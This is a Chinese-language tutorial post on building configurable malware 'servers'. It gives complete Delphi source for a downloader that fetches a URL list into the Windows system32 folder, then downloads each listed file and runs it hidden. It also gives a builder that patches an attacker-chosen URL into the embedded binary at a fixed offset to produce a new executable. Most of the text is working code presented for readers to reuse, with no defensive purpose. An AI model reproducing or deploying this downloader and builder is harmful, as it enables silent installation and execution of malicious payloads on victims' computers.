网络安全 频道

服务端生成技术的思考

    最近在学习服务端文件的生成,相信有不少朋友也在学这个吧。下面就说一说个人的体会并介绍一种新的方法来生成服务端(超简单!)
好了下面开始
首先说一下服务端文件生成的思路:
1.把服务端文件编译成资源文件
2.在程序中导入资源文件并接受用户的配置信息
3.查找修改地址并写入配置信息
4.生成服务端文件

    好了  过程就是这些  下面让我们来实现他吧。

    首先写好我们的原始服务端  这里我们来写一个下载者为例。取名为down.exe  下面是源代码:
program down;

uses
  SysUtils,urlmon,strutils,windows;
function DownloadFile(Source, Dest: string): Boolean;
begin
  try
    Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
    except
      Result := False;
    end;
  end;

const
f:string = ''xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'';
var
file1:textfile;
s,a:string;
begin
downloadfile(f,''c:\windows\system32\atlog.txt'');
assignfile(file1,''c:\windows\system32\atlog.txt'');
reset(file1);
  while not eof(file1) do
    begin
    readln(file1,s);
      downloadfile(s,''c:\windows\system32\''+rightstr(s,8));
      a:=''c:\windows\system32\''+rightstr(s,8);
        winexec(pchar(a),sw_hide);
    end;
end.


这是一个支持多文件下载的服务端  具体代码我就不分析了  大家自己理解  很简单的。。。。
要注意的是
const
f:string = ''xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'';



f 是等待用户来配置的变量  我们把它定义为50个x  这样在修改时好定位  这里x的个数关系到用户能够输入信息的长度
所以要定义足够多的x啊  免得后面不够用了。
好了  把它编译为down.exe 
下面我们来找xxxxxxxxxx。的地址。



打开十六进制编辑器  搜索xxxxx 找到的那个地址就是了  我们这里是54012  (delphi2005编译)
然后新建一个文本文件  写入如下代码
downman RCDATA down.exe

保存为downman.rc  ok 下面把它编译成资源文件
brcc32.exe downman.rc
这样我们就得到了一个名为downman.res的资源文件

好  把它拷贝到我们的编程目录。
新建一个工程。
建立全局变量
const  offset_url:integer= 54012


在{$R *.dfm}下面加上{$r downman.res}  这样我们就在程序中加入了资源文件了
下面我们来看看普通的程序写法。
 
procedure TForm1.Button1Click(Sender: TObject);
var
url:string;
WriteBuff, ziyuanzhizhen: PChar;
ziyuanweizhi: HRSRC;
ziyuandaxiao, BytesWritten: Longword;
shujuchulijubing: THandle;
shenqingzhizhen: THandle;
begin
url:=trim(edit1.Text);
if url<>'''' then
begin
ziyuanweizhi := FindResource(HInstance, ''downman'', RT_RCDATA);
ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);
shujuchulijubing := LoadResource(HInstance, ziyuanweizhi);
ziyuanzhizhen := LockResource(shujuchulijubing);
shenqingzhizhen := CreateFile(pchar(''server.exe''), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil);
Sleep(100);
SetFilePointer(shenqingzhizhen, OFFSET_url, nil, FILE_BEGIN);
WriteBuff := PChar(url + StringOfChar(#0, 50 - Length(url)));
WriteFile(shenqingzhizhen, WriteBuff^, 50, BytesWritten, nil);
CloseHandle(shenqingzhizhen);
end
else
showmessage(''请输入配置文件的地址!!'');
end;




代码我就不解释了  网上有好多。
是不是看的头晕晕的。呵呵  俺也一样。
下面就给大家介绍一种新方法(俺自己想的。)
首先 把资源文件提取出来并保存到流 s 里面

 
procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,''downman'',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;

s 是一个TMEMORYSTREAM 在public  申明一下就行了

好完成第一步了 下面我们用流来检索并修改。
procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile(''server1.exe'');
s.Free;
end;



url  就是我们用户要输入的。  buffer 是用来填充前面说的f  (xxxxxxxx)
这样我们的服务端就生成完毕了。简单吧。

好  下面给出完整的程序供大家参考。

unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
const
offset_url:integer=54012;
type
  TForm3 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Label1: TLabel;
    procedure restostream;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    s:tmemorystream;
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}
{$r downman.res}

procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile(''server1.exe'');
s.Free;
end;

procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,''downman'',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
end.
0
相关文章